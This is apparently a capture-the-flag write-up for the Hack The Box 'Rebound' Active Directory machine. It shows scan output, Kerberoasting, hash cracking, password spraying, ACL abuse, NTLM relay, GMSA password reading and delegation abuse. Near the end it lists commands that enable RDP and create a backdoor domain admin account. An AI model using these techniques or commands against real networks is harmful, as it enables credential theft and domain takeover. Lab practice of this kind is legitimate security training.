$ nmap -p- --min-rate 3000 10.129.148.205
Starting Nmap 7.93 ( https://nmap.org ) at 2023-09-12 16:28 +08
Nmap scan report for 10.129.148.205
Host is up (0.16s latency).
Not shown: 65315 closed tcp ports (conn-refused), 194 filtered tcp ports (no-response)
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
9389/tcp open adws
47001/tcp open winrm
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49671/tcp open unknown
49686/tcp open unknown
49687/tcp open unknown
49688/tcp open unknown
49705/tcp open unknown
49706/tcp open unknown
49723/tcp open unknown
63777/tcp open unknown
Did a detailed scan on the main services too:
$ nmap -p 53,88,135,139,389,445,464,593,636,3268,3269 -sC -sV --min-rate 3000 10.129.148.205
Starting Nmap 7.93 ( https://nmap.org ) at 2023-09-12 16:31 +08
Nmap scan report for 10.129.148.205
Host is up (0.17s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-09-12 15:31:08Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: rebound.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2023-09-12T15:31:59+00:00; +7h00m00s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.rebound.htb
| Not valid before: 2023-08-25T22:48:10
|_Not valid after: 2024-08-24T22:48:10
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: rebound.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.rebound.htb
| Not valid before: 2023-08-25T22:48:10
|_Not valid after: 2024-08-24T22:48:10
|_ssl-date: 2023-09-12T15:31:59+00:00; +7h00m00s from scanner time.
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: rebound.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2023-09-12T15:31:59+00:00; +7h00m00s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.rebound.htb
| Not valid before: 2023-08-25T22:48:10
|_Not valid after: 2024-08-24T22:48:10
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: rebound.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2023-09-12T15:31:59+00:00; +7h00m00s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.rebound.htb
| Not valid before: 2023-08-25T22:48:10
|_Not valid after: 2024-08-24T22:48:10
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 6h59m59s, deviation: 0s, median: 6h59m59s
| smb2-time:
| date: 2023-09-12T15:31:53
|_ start_date: N/A
| smb2-security-mode:
| 311:
|_ Message signing enabled and required
We can take note of the root domain name of rebound.htb and the DC name.
AD Enum --> AS-REP Fail
Used enum4linux to first scan to see if I can find anything using NULL sessions, which I can:
$ enum4linux -u 'guest' -p '' -a rebound.htb
==================================( Share Enumeration on rebound.htb )==================================
do_connect: Connection to rebound.htb failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
Shared Disk
SYSVOL Disk Logon server share
Reconnecting with SMB1 for workgroup listing.
Unable to connect with SMB1 -- no workgroup available
[+] Attempting to map shares on rebound.htb
//rebound.htb/ADMIN$ Mapping: DENIED Listing: N/A Writing: N/A
//rebound.htb/C$ Mapping: DENIED Listing: N/A Writing: N/A
[E] Can't understand response:
NT_STATUS_NO_SUCH_FILE listing \*
//rebound.htb/IPC$ Mapping: N/A Listing: N/A Writing: N/A
//rebound.htb/NETLOGON Mapping: OK Listing: DENIED Writing: N/A
//rebound.htb/Shared Mapping: OK Listing: OK Writing: N/A
//rebound.htb/SYSVOL Mapping: OK Listing: DENIED Writing: N/A
smbmap says we have read access over the Shared share:
$ smbmap -u 'guest' -p '' -H rebound.htb
[+] IP: rebound.htb:445 Name: unknown
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
IPC$ READ ONLY Remote IPC
NETLOGON NO ACCESS Logon server share
Shared READ ONLY
SYSVOL NO ACCESS Logon server share
However, there's nothing within it:
$ smbclient -U guest //rebound.htb/Shared
Password for [WORKGROUP\guest]:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Sat Aug 26 05:46:36 2023
.. D 0 Sat Aug 26 05:46:36 2023
4607743 blocks of size 4096. 885410 blocks available
enum4linux also proceeded to enumerate SIDs out, which did return some but it was really slow. So, I changed to using crackmapexec to enumerate the users out:
However, this hash cannot be cracked for some reason.
Kerberoast W/O Pre-Auth --> Password
I googled a bit more about what I could do with jjones account since it doesn't have the PreAuth flag set for it. Came across a new Kerberoast method I didn't use before:
We get 2 hashes using this method, one for ldap_monitor and one for delegator. john is able to crack the hash for ldap_monitor.
$ john --wordlist=/usr/share/wordlists/rockyou.txt hashes
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
<REDACTED> (?)
1g 0:00:00:04 DONE (2023-09-13 00:17) 0.2066g/s 2694Kp/s 2694Kc/s 2694KC/s 1Gobucs!..1DENA
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Bloodhound + Password Spray + Thinking
Using these credentials, we can use bloodhound-python to enumerate the entire domain. Running it the first time reveals that gmsa.rebound.htb is another domain we need to add to the hosts file. Afterwards, we can run it to collect information about the domain:
Afterwards, we can upload the information to Bloodhound. From it, winrm_svc seems to be the next user we have to compromise:
The ServiceMgmt group was also found to have some interesting privileges:
Other than that, Bloodhound provided nothing of use since we aren't part of the ServiceMgmt group. I spent quite a bit of time thinking about how the user we compromised was called ldap_monitor, and what we could do with LDAP.
Attempting to use ldapdomaindump shows that we need 'stronger auth':
$ ldapdomaindump 10.129.148.205 -u 'rebound\ldap_monitor' -p <TRUNCATED> --no-json --no-grep
[*] Connecting to host...
[*] Binding to host
[!] Could not bind with specified credentials
[!] {'result': 8, 'description': 'strongerAuthRequired', 'dn': '', 'message': '00002028: LdapErr: DSID-0C090259, comment: The server requires binds to turn on integrity checking if SSL\\TLS are not already active on the connection, data 0, v4563\x00', 'referrals': None, 'saslCreds': None, 'type': 'bindResponse'}
Since we still had a username list, I thought to try password spraying with the password I found, and I found another user with the same password:
When we take the script, I realised it doesn't work properly due to the requiring of 'stronger authentication'. Using the -use-ldaps flag doesn't work as well either, because it just says we have invalid credentials.
Since we have the credentials of the user, we can actually grab a Kerberos ticket:
Afterwards, we can use these flags to make it work properly and view the following LDAP changes:
$ python3 pyLDAPmonitor.py -d rebound.htb -u ldap_monitor -p <TRUNCATED> --use-ldaps --dc-ip 10.129.148.205 -k
[+]======================================================
[+] LDAP live monitor v1.3 @podalirius_
[+]======================================================
[>] Trying to connect to dc01.rebound.htb ...
[debug] Using Kerberos Cache: ldap_monitor.ccache
[debug] Using TGT from cache
[>] Listening for LDAP changes ...
Eventually, something like this appears:
[2023-09-13 01:20:01] CN=winrm_svc,OU=Service Users,DC=rebound,DC=htb
| Attribute "whenChanged" changed from '['20230912171808.0Z']' to '['20230912172101.0Z']'
| Attribute "uSNChanged" changed from '['172543']' to '['172548']'
| Attribute "pwdLastSet" changed from '['133390126205436306']' to '['133390128605841076']'
| Attribute "dSCorePropagationData" changed from '['20230912171810.0Z', '20230912171808.0Z', '20230912171801.0Z', '20230912171701.0Z', '16010101000000.0Z']' to '['20230912172101.0Z', '20230912171810.0Z', '20230912171808.0Z', '20230912171801.0Z', '16010101000000.0Z']'
[2023-09-13 01:20:01] CN=batch_runner,OU=Service Users,DC=rebound,DC=htb
| Attribute "whenChanged" changed from '['20230912171804.0Z']' to '['20230912172101.0Z']'
| Attribute "uSNChanged" changed from '['172542']' to '['172551']'
| Attribute "pwdLastSet" changed from '['133390126212467622']' to '['133390128616355941']'
| Attribute "dSCorePropagationData" changed from '['20230912171810.0Z', '20230912171804.0Z', '20230912171801.0Z', '20230912171701.0Z', '16010101000000.0Z']' to '['20230912172101.0Z', '20230912171810.0Z', '20230912171804.0Z', '20230912171801.0Z', '16010101000000.0Z']
The pwdLastSet is being edited to a more recent time, meaning that there's something resetting the password of these users. The winrm_svc user is the next step, so perhaps we have to change that password to login.
Based on Bloodhound, we need to be part of the ServiceMgmt group to have GenericAll privileges over winrm_svc, and we can use that to change the password of the user.
I tried the exploit with ldap_monitor, but it doesn't work with it. We can only use oorend to exploit this misconfiguration. Searching for tools to exploit this led to bloodyAD.py:
From here, what we can do is attempt to give oorendGenericAll privilege over the OU for Service Users, and from there set the password of the winrm_svc user to something else:
I should note that because the box resets the passwords of winrm_svc user regularly, the evil-winrm shell dies pretty often.
Enumeration
Earlier in Bloodhound, we saw that the tbrady user has ReadGMSAPassword over the gmsa.rebound.htb domain, so they are probably the next step.
Fortunately, no defences were present on the box and I could download PowerView.ps1 to enumerate stuff. When enumerating Kerberos, I found that the delegator$ computer user had some delegation rights for the DC:
This is probably the last step to root, so we'll keep this in mind. I also ran a SharpHound.exe on the machine itself and updated my Bloodhound database. When taking a look at all the parts of tbrady noticed this:
The user has a session on the DC, and this might be exploitable as we could potentially steal credentials. There weren't any other leads I found, so I went along with this.
I got some help from another HTB member, who told me that I should look towards thinking about how logged on users can be exploited, and I googled around to find this repo:
The above tool would potentially allow us to steal the NTLM hash of the tbrady user. To set it up, first we have to create a socat listener and impacket-ntlmrelayx listener based on the instructions from the repo:
john can crack this hash to give the password of tbrady. Now that we have the password of tbrady, we can abuse the ReadGMSAPassword privileges given. Using bloodyAD.py, we can easily do this:
The reason why delegator$ is used is because we it has delegation privileges over the DC.
Constrained Delegation --> Root
We must remember that delegator$ is a machine account instead of a user account. We can re-confirm the constrained delegation misconfiguration using PowerView:
We have the NTLM hash of this delegator$ user. I found that abusing delegation without the msds-AllowedToActOnBehalfOfOtherIdentity property was not possible, and as such I focused on enabling this property.
From this point on, someone offered me some help. Whoever you are, thank you!
Their method involved the following:
Requesting a TGT using the NTLM hash for delegator$.
Using that ticket to allow delegation from ldap_monitor to delegator$ through RBCD.
Requesting ticket for ldap_monitor and then proceeding with regular constrained delegation stuff to get a ticket for dc01$.
The part I was stuck on was the RBCD part, since I had no idea why we had to use ldap_monitor to do so. I'll attempt to cover these later.
Now we need to request a Service Ticket as the delegator$ user and impersonate dc01$. Based on Bloodhound, this user has a SPN of browser/dc01.rebound.htb:
Why did adding oorend to the ServiceMgmt group work?
Why did we have to use ldap_monitor for the last step? I was stuck here because I kept trying with oorend.
Self ServiceMgmt Group
I downloaded PowerView.ps1 to the machine and enumerated it further as the domain admin. There was probably something that the oorend user had that could not be found using Bloodhound. When enumerating the ACLs for the ServiceMgmt group, I came across this:
The weird part was that Bloodhound failed to pick this up at all. I ran SharpHound.exe again to check, but it still didn't reveal it. This might be intended, since this is an Insane machine and it does require some degree of 'educated guesswork' to finish, as with most other Insane machines I've attempted.
Delegation Issues --> SPN
To enumerate this, I just enabled RDP and created another domain admin user:
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
netsh advfirewall firewall set rule group="remote desktop" new enable=Yes
net user rdpuser Password@123 /add /domain
net localgroup "Remote Desktop Users" rdpuser /add
net localgroup "Administrators" rdpuser /add
net group "Domain Admins" rdpuser /add /domain
When viewing the delegation settings, I noticed that ldap_monitor had the Delegation tab:
The oorend user did not have this tab:
For some reason, ldap_monitor was technically allowed to delegate and the oorend user was not. I found few resources that explained this well, but basically it seems that ldap_monitor does have an SPN:
This means that delegation is 'possible' for ldap_monitor because it has an SPN set, whereas oorend does not and cannot even process the Kerberos ticket. No wonder I was stuck.